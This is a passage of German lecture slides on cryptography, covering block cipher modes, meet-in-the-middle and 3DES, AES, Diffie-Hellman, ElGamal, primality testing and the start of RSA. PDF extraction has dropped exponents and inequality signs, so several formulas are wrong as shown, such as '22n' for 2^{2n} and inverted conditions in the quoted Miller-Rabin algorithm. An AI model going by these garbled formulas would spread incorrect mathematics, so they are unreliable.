Nachteile:I gleicher Klartext erzeugt stets identisches ChiffratI unsicher: angreifbar durch Substitutionsattacken
(Austauschen ganzer Blöcke, ohne diese zu entschlüsseln)I des weiteren angreifbar mit statistischen Methoden bei
Wissen über Klartext
15 / 126
Electronic Codebook Modus (ECB)Verschlüsselung einer S/W-Bitmap (AES-128)
Original ECB-verschlüsselt CBC-verschlüsselt
16 / 126
Cipher Block Chaining (CBC)Prinzip
I Ergebnis früherer Verschlüsselungen fließt mit inVerschlüsselung des aktuellen Blockes ein (Rückkopplung)
I Klartextblock wird vor Verschlüsselung mit vorherigemChiffratblock XOR-verknüpft:
Ci = EK (Pi ⊕ Ci−1)
I Entschlüsselung umgekehrt; der Block wird nachEntschlüsselung mit dem vorangehenden ChiffratblockXOR-verknüpft:
Pi = Ci−1 ⊕ DK (Ci)
I erster Block benötigt einen zufälligen Initialisierungsvektor(IV), der nicht geheimgehalten werden muss, aber eineNonce1 sein sollte
1„Number, used only once“17 / 126
Cipher Block Chaining (CBC)Prinzip
EK
Pi+1PiPi−1
EK EK
Ci−1 Ci Ci+1
K K K
IV
Verschlüsselung per CBC
K K K
Pi−1
Ci−1 Ci Ci+1
Pi Pi+1
DK DK DK
IV
Entschlüsselung per CBC
18 / 126
Cipher Block Chaining (CBC)Fehlertoleranz
I Bitfehler im Chiffrat:I enthaltender Block unbrauchbarI nachfolgender Block hat einen 1-Bit-Fehler an der
entsprechenden PositionI übernächster Block nicht betroffenI Selbstsynchronisation auf Blockebene
I Entfernen oder Einfügen eines Bits in das Chiffrat:I alle nachfolgenden Blöcke unbrauchbarI Synchronisationsfehler nicht toleriertI externe Rahmenstruktur mit Prüfsummen/CRC nötig
19 / 126
30
Cipher Feedback Modus (CFB)
Nachteil des CBC: ganzer Klartextblock benötigt, bevorVerschlüsselung startet→ für byteweise Verarbeitungungeeignet (z. B. ein sicheres Terminal)
→ Nutzung von blockbasierten Verfahren zur Implementierungeiner Stromchiffre
Idee: Der im vorangegangenen Schritt verschlüsselte Blockwird nochmals verschlüsselt und in beliebiger Granularität perXOR mit dem Klartextblock verknüpft.
Ci = Pi ⊕ EK (Ci−1)
Pi = Ci ⊕ EK (Ci−1)
20 / 126
Cipher Feedback Modus (CFB)Ablauf
Ablauf:1. Initialisierung eines Schieberegisters mit
Initialisierungsvektor2. blockweise Verschlüsselung des Schieberegisters3. XOR-Operation von n Bit des Chiffrats (ki ) mit n Bit des
Plaintexts (pi )4. Ausgabe/Übertragung der resultierenden n Bit (ci )5. gleichzeitige Rückkopplung von ci in das Schieberegister
und Verschiebung desselben um n Bit6. GOTO 2
21 / 126
Cipher Feedback Modus (CFB)Verschlüsselung (Prinzip, graf.)
Schieberegister
K Verschlüsselung
Byte ganz links ki
pi ci
Übertragung
Verschlüsselung im Cipher Feedback Mode (byteweise, d. h., n = 8)22 / 126
Cipher Feedback Modus (CFB)
I bei Entschlüsselung sind pi und ci vertauschtI Initialisierungsvektor benötigtI Granularität der Ausgabe (fast) beliebig: Byte, 16 Bit, 1 Bit
usw.I Fehler im Klartext bleibt unentdeckt (wird wieder in
fehlerhaften Klartext entschlüsselt)I Bitfehler im Chiffrat macht n Ausgabeblöcke unbrauchbar
(n = Größe des Schieberegisters)I fehlende Bits und eingeschobene Fehlerbits ebenso→
CFB stabilisiert sich auf Blockebene
23 / 126
Output Feedback Modus (OFB)Verschlüsselung (Prinzip)
Schieberegister
K Verschlüsselung
Byte ganz links ki
pi ci
Übertragung
Verschlüsselung im Output Feedback Mode (byteweise, d. h., n = 8)24 / 126
Output Feedback Modus (OFB)Anmerkungen
I Rückkopplung des Resultatbytes ki vor XOR-Verknüpfungmit Plaintextbyte pi :
Ci = Pi ⊕ Si Si = EK (Si−1)
PI = Ci ⊕ Si Si = EK (Si−1)
I sonst identisch zu CFB (d. h., IV benötigt; Geheimhaltungnicht erforderlich)
I „Hauptarbeit“ (Erzeugung des Schlüsselstroms Si ) kannoffline erfolgen
I 1-Bit-Fehler im Chiffrat führt zu 1-Bit-Fehler im KlartextI Synchronisationsfehler katastrophal (vollständiger
Informationsverlust)
25 / 126
31
Counter Mode (CTR)Prinzip
I (konstanter) Initialisierungsvektor IV wird zusammen miteinem Counter CTRi mittels des Schlüssels Kverschlüsselt, Resultat wird mit Klartextblock Pi per XORverknüpft, ergibt Chiffratblock Ci :
Ci = EK (IV ||CTRi)⊕ Pi
I Klartextblock Pi ergibt sich aus XOR-Verknüpfung desChiffratblockes Ci und dem mit K verschlüsseltenInitialisierungsvektor verkettet mit dem zugehörigenCounter CTRi
Pi = CI ⊕ EK (IV ||CTRi)
I Länge von IV und CTR zusammen entspricht derBlocklänge des Verfahrens
26 / 126
Counter Mode (CTR)Eigenschaften
I benötigt IV und Counter, beide sind nicht geheim, solltenaber zusammen Nonce ergeben
I nutzt Blockchiffre, betrieben als StromchiffreI Bitfehler auf 1 Block beschränktI Blöcke sind unabhängig; gleiche Klartextblöcke ergeben
aber unterschiedliche Chiffratblöcke, da sie von CTRabhängen
I parallelisierbar; wahlfreier Zugriff auf jeden BlockI Ver- und Entschlüsselung mit identischer Funktion (
Nutzung einer Einwegfunktion möglich)
27 / 126
Counter Mode (CTR)Prinzip
KEK
IV CTRi−1
KEK
Ci−1
Pi−1 Pi
Ci
IV CTRi
Verschlüsselung per CTR
IV CTRi−1 IV CTRi
KDK
KDK
Ci−1
Pi−1
Ci
Pi
Entschlüsselung per CTR
28 / 126
Weitere Betriebsmodi
I Galois Counter Mode (GCM) – ermittelt zusätzlich einenMAC zur Authentisierung
I Counter with CBC-MAC (CCM)I Offset Codebook Mode (OCB)I Integrity Aware Parallelizable Mode (IAPM)I . . .
29 / 126
Kombination von Blockchiffren
Idee:I Weiternutzung eines (bewährten) VerfahrensI Verlängerung des Schlüssels→ Erhöhung der Sicherheit des Verfahrens
Mehrfachverschlüsselung = Hintereinanderausführung ein-und desselben Algorithmus mit unterschiedlichen Schlüsseln.
I bei Nutzung gleicher Schlüssel bleibt Komplexität einesBrute-Force-Angriffes konstant ( Ziel verfehlt)
30 / 126
Wie oft soll ich nun DES o. ä. ausführen?
Doppelte Verschlüsselung:
C = EK2(EK1(P))
Hat K eine Breite von n Bits, so müssen 2n Schlüssel probiertwerden. Also müssen bei doppelter Verschlüsselung 22n
Schlüssel probiert werden, oder?
Antwort: Nein! Es gibt den sog. Meet-in-the-Middle-Angriff2,eine spezielle Form eines Known-Plaintext-Angriffs
2Bitte nicht mit Man-in-the-Middle-Angriff verwechseln!31 / 126
32
Meet-in-the-Middle-Angriff
I 2 Chiffrate C1, C2 und 2 (zugehörige) Plaintexte P1, P2müssen bekannt sein:
C1 = EK2(EK1(P1))
C2 = EK2(EK1(P2))
Angriffsidee („von beiden Seiten“):1. P1 mit allen möglichen Schlüsseln verschlüsseln und
Chiffrate abspeichern2. C1 mit allen möglichen Schlüsseln entschlüsseln und
Ergebnis mit allen Chiffraten aus 1. vergleichen3. bei Gleichheit: zugehörige Schlüssel nutzen, um P2
(doppelt) zu verschlüsseln; Ergebnis = C2 Schlüssel aus1. ist K1, Schlüssel aus 2. ist K2
4. ansonsten weiterprobieren
32 / 126
Meet-in-the-Middle-AngriffSchlußfolgerung
I benötigt viel Speicherplatz (für 2n Blöcke)I Es müssen bei n Bit Schlüssellänge 2 · 2n Schlüssel
durchprobiert werden
Schlußfolgerung: Ist ein Meet-in-the-Middle-Angriff möglich,dann führt die doppelte Verschlüsselung nicht zur Erschwerungdes Brute-Force-Angriffes von 2n auf 22n Versuche, sondernnur zu 2n+1.
Fazit: doppelte Verschlüsselung ist (so gut wie) nutzlos!
Abhilfe: dreifach verschlüsseln!
33 / 126
Triple DES (3DES)Struktur
Klartext
DES DES DES
Chiffrat
DES DES DES
Entschlüsselung
Verschlüsselung
E(K1) D(K2)
E(K2) D(K3)
E(K3)
D(K1)
34 / 126
Triple DESAnmerkungen
I drei verschiedene Schlüssel nötigI Verschlüsselung:
C = EK3(DK2(EK1(P)))
I sog. Encryption-Decryption-Encryption (EDE-Modus)I sicherer als aufeinanderfolgende VerschlüsselungI Entschlüsselung (analog):
P = DK1(EK2(DK3(C)))
I als ähnlich sicher angesehen wie modernere Verfahren(IDEA, AES)
I dreifacher Verarbeitungsaufwand (!)
35 / 126
Advanced Encryption Standard (AES)AES
I Rijmen&Daemen, 1998I ursprüngliche Bezeichung: „Rijndael“I in einem mehrere Runden umfassenden Wettbewerb aus
mehreren „Bewerbungen“ (u. a. Twofish, RC6, Rijndael) alsNachfolger für DES ausgewählt
I blockbasiert (128 Bit), Schlüsselgrößen 128, 192 und 256Bit.
I Struktur ist keine Feistel-Chiffre, sondern einSubstitution-Permutation Network
I nicht patentiert, offener AlgorithmusI zur Zeit einer der meistverwendetsten symmetrischen
AlgorithmenI sehr hohes Maß an SicherheitI Referenzimplementierung nur 500 Zeilen C-CodeI effizient sowohl in Soft- und Hardwareimplementierungen
36 / 126
AES
Anwendungen:I WLAN/WiFi: WPA2I Verschlüsselung von Datenträgern: FileVault, TrueCrypt,
BitLockerI Kommunikationsprotokolle: IPsec, TLS, SSHI Dateiverschlüsselungen: 7-Zip, RARI Applikationen: KeePassI (leider auch) Ransomware: LockyI u. v. a. m.
37 / 126
33
Weitere Blockchiffrierungsverfahren
I Lucifer (1971)I FEAL (1990)I LOKI (1990)I IDEA (1991)I Blowfish (1994)I Tiny Encryption Algorithm (TEA; 1994)→ PraktikumI RC6 (1997)I Serpent (1998)I Twofish (1998)I Camellia (2000)I Threefish (2008)I ...
38 / 126
Exkurs: Rechnen mit Restklassenaka „Modulo-Arithmetik“
Aufgabe: Rudi ist um 7.00 Uhr aufgestanden und (nacheigenen Angaben) seit 34 Stunden auf den Beinen. Wie spät istes?
Lösung:
(7 + 34) mod 24 = 41 mod 24 = 17 mod 24
Es ist offensichtlich 17.00 Uhr.
Man sagt: „41 und 17 sind äquivalent modulo 24“ und notiert
(7 + 34) ≡ 17 mod 24
39 / 126
Rechnen mit Restklassen
Allgemein gilt
a ≡ b mod n iff ∃k : a = b + kn k ∈ Z
(„a ist kongruent zu b modulo n genau dann, wenn es einganzzahliges k gibt mit . . . “)
I wenn a > 0 und 0 ≤ b < n, dann ist b der Rest derDivision a/n
I a mod n wird häufig modulare Reduktion (von a) genannt
Rechenregeln:
(a + b) mod n = ((a mod n) + (b mod n)) mod n(a− b) mod n = ((a mod n)− (b mod n)) mod n(a · b) mod n = ((a mod n) · (b mod n)) mod n
(a(b + c)) mod n = ((ab mod n) + (ac mod n)) mod n
40 / 126
Rechnen mit Restklassen
I gern in Kryptografie eingesetzt, da bestimmteBerechnungen modulo n schwierig3 sind
I Zwischenergebnisse haben beschränkten Wertebereich
3 im Sinne von ‘sehr lange dauern’41 / 126
Modulare Exponentiation
Eine wichtige Operation, z. B. für RSA, ist
ax mod n
Berechnung am Beispiel y = a8 mod n1. naiver Ansatz
y = (a · a · a · a · a · a · a · a) mod n
→ Zwischenergebnis sehr groß, schlecht zu speichern2. Kombination von Potenzierung und modularer Reduktion
y = ((a2 mod n)2 mod n)2 mod n
Schön und gut, was aber tun, wenn x keine Zweierpotenz?
42 / 126
Modulare ExponentiationBinäre Exponentiation („Square-and-multiply“) von xe
Idee: Binärdarstellung des Exponenten e drückt diesen alsSumme von Zweierpotenzen aus!
Algorithmus zur Berechnung von y = xe:I e als Binärzahl darstellenI Binärdarstellung von e bitweise von links beginnend lesen
I wenn Bit = 1, dann ‘QM’ notierenI wenn Bit = 0, dann ‘Q’ notieren
I Initialwert: y = 1I wiederum von links beginnend generierte Zeichenkette
analysierenI wenn Zeichen = ‘Q’, dann y quadrierenI wenn Zeichen = ‘M’, dann y mit x multiplizieren
43 / 126
34
Modulare ExponentiationBinäre Exponentiation - Beispiel
Berechnung von x42
Es gilt: 4210 = 0010.10102 d. h. , 42 = 25 + 23 + 21
12x( x )2
( x5 )2
( x10 )2x( x21 )2
( x2 )2x
QM Q QM Q QM Q42 = 1 0 1 0 1 0
Initialwert
d. h., x42 = ((((x2)2 · x)2)2 · x)2
44 / 126
Modulare ExponentiationKombination mit Modulo-Operation: Berechnung von y = xe mod p
I da gilt:
(a · b) mod n = ((a mod n) · (b mod n)) mod n,
I muss Modulo-Operation nach jeder Multiplikation und nachjeder Quadrierung ausgeführt werden
Beispiel: Berechnung von x25 mod p
Es gilt: 2510 = 110012 d. h. , QM QM Q Q QM
x25 mod p =
(((((((x2 mod p)·x) mod p)2 mod p)2 mod p)2 mod p)·x) mod p
I benötigt 6 Multiplikationen und 6 Modulo-Operationen
45 / 126
Diskreter Logarithmus
Def. Eine primitive Wurzel modulo p ist eine Zahl a, derenPotenzen modulo p alle Werte zwischen 1 und p − 1generieren kann.
Beispiel:
51 = = 5 ( mod 7)52 ≡ 5 · 5 ≡ 4 ( mod 7)53 ≡ 4 · 5 ≡ 6 ( mod 7)54 ≡ 6 · 5 ≡ 2 ( mod 7)55 ≡ 2 · 5 ≡ 3 ( mod 7)56 ≡ 3 · 5 ≡ 1 ( mod 7)
Das bedeutet, in diesem Fall können wir für jedes y < permitteln, welches x die Gleichung
f (x) = y = ax mod p
erfüllt. Wir nennen x den diskreten Logarithmus modulo pvon y.
46 / 126
Diskreter Logarithmus
0
20
40
60
80
100
0 20 40 60 80 100
x
y
Abbildung: Graph des diskreten Logarithmus für y = 17x mod 107
47 / 126
Diskreter Logarithmus
Schlussfolgerung / Zusammenfassung:I modulare Exponentiation f (x) = ax mod p ist leicht zu
berechnen (geringer Aufwand)I Umkehrung der modularen Exponentiation („diskreter
Logarithmus“) f−1(x) = ax mod p ist sehr schwierig Einwegfunktion
48 / 126
Diffie-Hellman-Protokoll
Anwendung des diskreten Logarithmus: Schlüsselgenerierungund -austausch mittels Diffie-Hellman-Protokoll:
1. Bob und Alice einigen sich auf eine große Primzahl p undeine primitive Wurzel g modulo p.
2. Alice wählt eine (große) zufällige Zahl i (Alice’ geheimerSchlüssel) und berechnet A = g i mod p (Alice’ öffentlicherSchlüssel).
3. Bob wählt eine (große) zufällige Zahl j (Bobs geheimerSchlüssel) und berechnet B = g j mod p (Bobs öffentlicherSchlüssel).
4. Alice sendet A an Bob, Bob sendet B an Alice.5. Alice berechnet
K = Bi mod p = (g j mod p)i mod p = g ij mod p, dengeheimen Sitzungsschlüssel.
6. Bob berechnetK = Aj mod p = (g i mod p)j mod p = g ij mod p.
49 / 126
35
Anmerkungen zum Diffie-Hellman-Protokoll
I g muss primitiv modulo p sein, d.h. es muss stets ein lgeben, so dass g l ≡ b mod p ∀ 1 ≤ b < p.
I Eve kann A und B abfangen, es nützt ihr aber nichts, siekann g ij mod p nicht aus g i mod p und g j mod pberechnen, denn dazu müßte sie i und j ermitteln (dendiskreten Logarithmus modulo p von A und B zur Basis g)
I Mallory ist (leider) mächtiger; er kann einenMan-in-the-Middle-Attack durchführen!
50 / 126
Diffie-Hellman-ProtokollBeispiel
Alice Bobg = 4, p = 11
i = 3 j = 4A = 43 mod 11 = 9 B = 44 mod 11 = 3
A = 9→ Bob Alice← B = 3K = Bi mod p K = Aj mod p
= 33 mod 11 = 5 = 94 mod 11 = 5
51 / 126
El-Gamal-Verschlüsselung. . . . . . klitzekleine Erweiterung des DH-Schlüsselaustausches
SchlüsselgenerierungI Alice wählt eine Primzahl p und eine primitive Wurzel g mod p
I Alice wählt einen zufälligen Exponenten i ∈ {0, . . . ,p − 2}; ihrenprivaten Schlüssel
I Alice errechnet A = g i mod p, ihren öffentlichen Schlüssel4
VerschlüsselungI Bob beschafft sich (g,p,A)
I Bob wählt einen zufälligen Wert j ∈ {0, . . .p − 2} und berechnetB = g j mod p
I Bob teilt die Klartextnachricht in Blöcke mk der Länge{0,1, . . . ,p − 1} ein und berechnet dann die Chiffratblöcke ck
ck = Ajmk mod p
(er multipliziert die Klartextblöcke mit dem DH-Session-Key)4Der gesamte öffentliche Schlüssel umfasst (g, p, A)
52 / 126
El-Gamal-VerschlüsselungEntschlüsselungI Alice besorgt sich B und die Chiffratblöcke ck
I „dividiert“ die Chiffratblöcke durch den DH-Session-Key
mk =ck
Bi mod p
I dies tut sie jedoch nicht direkt (sie müßte das zu Bi multiplikativinverse Element finden), sondern sie berechnet den Exponentenx :
x = p − 1− iund ermittelt dann für jeden Chiffratblock ck
Bxck mod p = mk
I Dies funktioniert, weil
Bxck ≡ g j(p−1−i)Ajmk ≡ (gp−1)j(g i)−jAjmk
≡ A−jAjmk ≡ mk (mod p) = mk
gilt.53 / 126
El-Gamal-VerschlüsselungBeispiel
Alice Bobp = 23, g = 7, i = 6
A = g i mod p = 76 mod 23 = 4(p,g,A) = (23,7,4)→ Bob
j = 13B = g j mod p = 713 mod 23 = 20
Klartext‘block’ m = 17c = Ajm mod p = 41317 mod 23
= 19Alice← (20,19) = (B, c)
x = p − 1− i = 23− 1− 6 = 16m = Bxc mod p = 201619 mod 23
= 17
54 / 126
Exkurs 2: Primzahlen
Def. Eine natürliche Zahl p ist eine Primzahl, wenn sie genauzwei Teiler hat.
I 0 und 1 sind keine PrimzahlenI Beispiele: 2, 3, 5, 7, 11, . . . , 73, . . . , 274.207.281 − 1
(gegenwärtig größte bekannte)5
I Primzahlen mit Abstand 2 sind so genanntePrimzahlzwillinge6; z. B. (3,5), (101, 103),(3756801695685 · 2666669± 1)
I Hat p mehr als 2 Teiler, so ist sie eine zusammengesetzteZahl (ein Produkt von Primzahlen).
I kein Verfahren, Funktion, Formel usw. bekannt, effizient(große) Zahlen in Primfaktoren zu zerlegen
5am 7. 1. 2016 gefunden; vgl.http://www.mersenne.org/6Deren (Un)endlichkeit ist bislang nicht bewiesen.
55 / 126
36
PrimzahlenUnendlichkeit von Primzahlen
Satz: Es gibt unendlich viele Primzahlen.
Beweis (Euklid, 300 v. u. Z.):
I Angenommen, es gäbe endlich viele Primzahlen p1,p2, . . . ,pn.
I Somit kann m = p1 · p2 · . . . · pn + 1 keine Primzahl sein.
I Wenn m keine Primzahl ist, muss sie zusammengesetzt sein,also (mindestens einen) Primfaktor q enthalten mitq | m = p1 · p2 · . . . · pn + 1.
I Da q in {p1,p2, . . . ,pn} enthalten sein muss (denn das sind allePrimzahlen, die es gibt), muss auch gelten
q | p1 · p2 · . . . · pn = m − 1.
I Aus q | m und q | (m − 1) folgt q | m − (m − 1), also q | 1.
I Da aber keine Primzahl 1 teilt, haben wir einen Widerspruch. DieAnnahme endlich vieler Primzahlen ist somit falsch.
56 / 126
Generierung von PrimzahlenÜbersicht über Verfahren
I ProbedivisionI Sieb des EratosthenesI Fermatscher PrimzahltestI Miller-Rabin-Test (1974)I Solovay-Strassen-Test (1977)I Sieb von Atkin (1999)I AKS-Primzahltest (2002; polynomielle Laufzeit)7
7Manindra Agrawal, Neeraj Kayal und Nitin Saxena. “PRIMES is in P”. In: Annals of Mathematics 160.2 (20024),S. 781–793.
57 / 126
Generierung von PrimzahlenSieb des Eratosthenes (Eratosthenes von Kyrene, ca. 276–196 v. u. Z.)
Algorithmus:
1. Man schreibe alle Zahlen von 2 bis zum gewünschten MaximumM auf.
2. Es sei n die kleinste nicht gestrichene und nicht markierte Zahl.Man markiere n und streiche dann alle Vielfache von n aus.
3. Man führe Schritt 2 für alle n ≤√
M aus.
4. Alle markierten und alle nicht gestrichenen Zahlen sindPrimzahlen.
Beispiel (M = 100):
2 3 �4 5 �6 7 �8 �9 ��10 11 ��12 13 ��14 ��15��16 17 ��18 19 ��20 ��21 ��22 23 ��24 ��25 ��26 ��27 ��28 29��30 31 ��32 ��33 ��34 ��35 ��36 37 ��38 ��39 ��40 41 ��42 43��44 ��45 ��46 47 ��48 ��49 ��50 ��51 ��52 53 ��54 ��55 ��56 ��57��58 59 ��60 61 ��62 ��63 ��64 ��65 ��66 67 ��68 ��69 ��70 71��72 73 ��74 ��75 ��76 ��77 ��78 79 ��80 ��81 ��82 83 ��84 ��85��86 ��87 ��88 89 ��90 ��91 ��92 ��93 ��94 ��95 ��96 97 ��98 ��99 ��100
58 / 126
Primzahltest nach FermatKleiner Satz des Fermat
Voraussetzung: p sei prim, g ∈ Z, ggT(g,p) = 1.
Dann gilt nach Pierre de Fermat:
gp−1 ≡ 1 ( mod p).
Umkehrung des Satzes: Wenn gilt:
gp−1 mod p 6= 1,
dann kann p keine Primzahl sein, sondern musszusammengesetzt sein.→ Grundidee für einen(probabilistischen) Primzahltest.
59 / 126
Primzahltest nach Fermat
„Ist p eine Primzahl?“
Start
Wähle g zufällig mit 1 < g < n − 1
Berechne y = gp−1 mod p
y = 1?
„p ist zusammengesetzt.“
Stop
"p ist wahrscheinlich prim.“
no
yes
Abbruch mit dem Ergebnis „p ist wahrscheinlich prim“, nachhinreichend vielen Iterationen.
60 / 126
Primzahltest nach FermatFermatsche Pseudoprimzahlen, Carmichael-Zahlen
Problem: Es gibt einige (wenige) Zahlen p, für diegp−1 mod p = 1 gilt und die dennoch zusammengesetzt sind,die so genannten fermatschen Pseudoprimzahlen zur Basis g.
Abhilfe: Nutzung einer anderen Basis g
Problem 2: Es gibt (sehr, sehr wenige) Zahlen p, für diegp−1 mod p = 1 ∀1 < g < p − 1 gilt und die dennochzusammengesetzt sind, die so genanntenCARMICHAEL-Zahlen.
Abhilfe: keine bzw. Nutzung eines anderen Primzahltests.
Beispiel: 561 = 3 · 11 · 17 ist die kleinste CARMICHAEL-Zahl.
61 / 126
37
Miller-Rabin-Test (MRT)
§4.2 Probabilistic primality tests 139
4.21 Definition Let n be an odd composite integer and let n− 1 = 2sr where r is odd. Let abe an integer in the interval [1, n− 1].
(i) If ar ≡ 1 (mod n) and if a2jr ≡ −1 (mod n) for all j, 0 ≤ j ≤ s − 1, then a is
called a strong witness (to compositeness) for n.(ii) Otherwise, i.e., if either ar ≡ 1 (mod n) or a2
jr ≡ −1 (mod n) for some j, 0 ≤j ≤ s − 1, then n is said to be a strong pseudoprime to the base a. (That is, n actslike a prime in that it satisfies Fact 4.20 for the particular base a.) The integer a iscalled a strong liar (to primality) for n.
4.22 Example (strong pseudoprime) Consider the composite integern = 91 (= 7×13). Since91− 1 = 90 = 2× 45, s = 1 and r = 45. Since 9r = 945 ≡ 1 (mod 91), 91 is a strongpseudoprime to the base 9. The set of all strong liars for 91 is:
{1, 9, 10, 12, 16, 17, 22, 29, 38, 53, 62, 69, 74, 75, 79, 81, 82, 90}.
Notice that the number of strong liars for 91 is 18 = φ(91)/4, where φ is the Euler phifunction (cf. Fact 4.23). �Fact 4.20 can be used as a basis for a probabilistic primality test due to the following result.
4.23 Fact If n is an odd composite integer, then at most 14 of all the numbers a, 1 ≤ a ≤ n−1,are strong liars for n. In fact, if n = 9, the number of strong liars for n is at most φ(n)/4,where φ is the Euler phi function (Definition 2.100).
4.24 Algorithm Miller-Rabin probabilistic primality test
MILLER-RABIN(n,t)INPUT: an odd integer n ≥ 3 and security parameter t ≥ 1.OUTPUT: an answer “prime” or “composite” to the question: “Is n prime?”
1. Write n− 1 = 2sr such that r is odd.2. For i from 1 to t do the following:
2.1 Choose a random integer a, 2 ≤ a ≤ n− 2.2.2 Compute y = ar mod n using Algorithm 2.143.2.3 If y = 1 and y = n− 1 then do the following:
j←1.While j ≤ s− 1 and y = n− 1 do the following:
Compute y←y2 mod n.If y = 1 then return(“composite”).j←j + 1.
If y = n− 1 then return (“composite”).3. Return(“prime”).
Algorithm 4.24 tests whether each base a satisfies the conditions of Definition 4.21(i).In the fifth line of step 2.3, if y = 1, then a2
jr ≡ 1 (mod n). Since it is also the case thata2j−1r ≡ ±1 (mod n), it follows from Fact 3.18 that n is composite (in fact gcd(a2
j−1r−1, n) is a non-trivial factor of n). In the seventh line of step 2.3, if y = n − 1, then a is astrong witness for n. If Algorithm 4.24 declares “composite”, then n is certainly compos-ite because prime numbers do not violate Fact 4.20. Equivalently, if n is actually prime,then the algorithm always declares “prime”. On the other hand, if n is actually composite,then Fact 4.23 can be used to deduce the following probability of the algorithm erroneouslydeclaring “prime”.
(8)
8Alfred J. Menezes, Paul C. van Oorschot und Scott A. Vanstone. Handbook of Applied Cryptography. CRCPress, 1996, S. 139. 62 / 126
Miller-Rabin-Test (MRT)
Beispiel:I n = 91, t = 3I 91− 1 = 21 · 45 r = 45, s = 1I a = 12, y = 1245 mod 91 = 90 „prim“I a = 17, y = 1745 mod 91 = 90 „prim“I a = 34, y = 3445 mod 91 = 34 „zusammengesetzt!“
a=12 und a=17 werden „Lügner“ (liars) bzgl. der Eigenschaft„prim“ genannt.
63 / 126
Eulersche ϕ-Funktion
Definition (Eulersche ϕ-Funktion)ϕ(n) ist die Anzahl der zu n teilerfremden positiven ganzenZahlen, die nicht größer sind als n.
formal:ϕ(n) =
∣∣∣{1 ≤ a ≤ n | ggT(n,a) = 1}∣∣∣
(„ϕ(n) ist die Mächtigkeit der Menge, die alle Zahlen a enthält,die teilerfremd zu n sind.“)
I zahlentheoretische FunktionI Beispiele:
ϕ(1) = 1ϕ(2) = 1ϕ(6) = 2 (a ∈ {1,5})ϕ(7) = 6 (Primzahl!)
ϕ(15) = 8 (a ∈ {1,2,4,7,8,11,13,14})64 / 126
Eulersche ϕ-Funktion und Primzahlen
I Wenn p prim, dann ϕ(p) = p − 1.I Wenn p und q prim, dann ϕ(pq) = (p − 1)(q − 1).
Beweis:I Es gibt genau pq − 1 Zahlen, die kleiner als pq sind.I Unter diesen gibt es (p − 1) Vielfache von q und (q − 1)
Vielfache von p.I Alle anderen Zahlen < pq sind keine Teiler von pq, da p
und q prim sind.I Folglich gilt:
ϕ(pq) = (pq − 1)− (p − 1)− (q − 1)= pq − p − q + 1= (p − 1)(q − 1).
65 / 126
Der Satz von Euler
Definition (Satz von Euler)Es seien m,n zwei teilerfremde natürliche Zahlen. Dann gilt:
mϕ(n) mod n = 1.
Für Primzahlen p,q mit p 6= q und n = pq gilt damit(vgl. vorherige Folie)
m(p−1)(q−1) mod pq = 1.
66 / 126
Größter gemeinsamer Teiler (ggT)Berechnung über Primfaktorzerlegung
Idee:I Zerlegung beider Operanden in PrimfaktorenI Produkt der gemeinsamen Faktoren ist der ggT.
Beispiel: ggT(468, 1260)
Zerlegung in Primfaktoren liefert:
468 = 2 · 2 · 3 · 3 · 131260 = 2 · 2 · 3 · 3 · 5 · 7
ggT = 2 · 2 · 3 · 3 = 36
I nur für kleine Zahlen praktikabel, da Primfaktorzerlegungalgorithmisch aufwändig für große Zahlen
67 / 126
38
Größter gemeinsamer Teiler (ggT)Euklidischer Algorithmus (ca. 500 v. u. Z.)
Algorithmus 1 Berechne den ggT(n, a) =1: if n = 0 then2: return a3: else4: while a 6= 0 do5: if n > a then6: n← n − a7: else8: a← a− n9: end if
10: end while11: return n12: end if
68 / 126
Größter gemeinsamer Teiler (ggT)Euklidischer Algorithmus (ca. 500 v. u. Z.)
I sukzessive Subtraktion kann effizient aufmodulo-Operation abgebildet werden:
ggT(n,a) =
{ggT(a, (n mod a)) für a > 0n für a = 0
I mit n > a ≥ 0
Algorithmus 2 Berechne den ggT(n, a) =1: while a 6= 0 do2: h← n mod a3: n← a4: a← h5: end while6: return n
69 / 126
Euklidischer AlgorithmusBeispiel
ggT(792,75) = ggT(75,42) (792 = 10 · 75 + 42)
= ggT(42,33) (75 = 1 · 42 + 33)
= ggT(33,9) (42 = 1 · 33 + 9)
= ggT(9,6) (33 = 3 · 9 + 6)
= ggT(6,3) (9 = 1 · 6 + 3)
= ggT(3,0) (6 = 2 · 3 + 0)
= 3
Fazit:I effizienter Algorithmus (viel effizienter als
Primfaktorzerlegung!)70 / 126
Erweiterter Euklidischer Algorithmus
generiert zusätzlich zu ggT eine so genannteLinearkombination (aka Vielfachsumme) des ggT:
ggT(n, a) = k = v · n + u · a
Algorithmus 3 Berechne k = ggT (n,a) = vn + ua1: (c,d)← (a,n)2: (uc , vc ,ud , vd)← (1,0,0,1)3: while c 6= 0 do4: q ← bd/cc5: (c,d)← (d − qc, c)6: (uc , vc ,ud , vd)← (ud − quc , vd − qvc ,uc , vc)7: end while8: (k , v ,u)← (d , vd ,ud)9: return k , v ,u
71 / 126
Erweiterter Euklidischer AlgorithmusBeispiel
Gesucht: ggT(17,3) = k = v · 17 + u · 3
Zeile c d uc vc ud vd q1 3 172 1 0 0 14 55 2 36 -5 1 1 04 15 1 26 6 -1 -5 14 25 0 16 -17 3 6 -1
k = 1, v = −1,u = 6, also ggT(17,3) = 1 = −1 · 17 + 6 · 372 / 126
Modulare Inverse
Satz (Satz von der modularen Inversen)Seien a und n teilerfremde ganze Zahlen (d. h., ggT (n,a) = 1). Danngibt es eine Ganzzahl b, so dass gilt:
a · b mod n = 1.
(„a ist modulo n invertierbar.“, „b ist das zu a inverse multiplikativeElement modulo n.“)Beweis:I wenn k = 1, dann gibt es lt. erweitertem euklidischen
Algorithmus ganze Zahlen v ,u mit
1 = k = ggT(n,a) = v · n + u · a.I Bei (Modulo-)Division durch n liefert linke Seite den Wert 1,
rechte Seite den Wert u · a mod n (da v · n durch n teilbar).I Also gilt:
1 = u · a mod n
I Mit u = b folgt die Behauptung.73 / 126
39
Public-Key-Kryptografie mit RSAÜberblick
I Ron Rivest, Adi Shamir, Leonard Adleman (1977)I beruht auf Schwierigkeit, große Zahlen (100-200 Stellen
oder mehr) zu faktorisieren9
I (unbewiesene) Vermutung:Die Entschlüsselung eines Chiffrates ohneKenntnis des Schlüssels ist genauso schwierigwie die Faktorisierung der beiden beteiligtenZahlen
I → Langzahlarithmetik erforderlichI eines der am leichtesten zu verstehenden
Public-Key-Verfahren
9 in Primfaktoren zu zerlegen74 / 126
RSASchlüsselgenerierung
1. Wähle zwei verschiedene große Primzahlen p,q.2. Berechne den sog. RSA-Modul
n = pq.
3. Ermittle den Wert der Eulerschen ϕ-Funktion für n:
ϕ(n) = (p − 1)(q − 1).
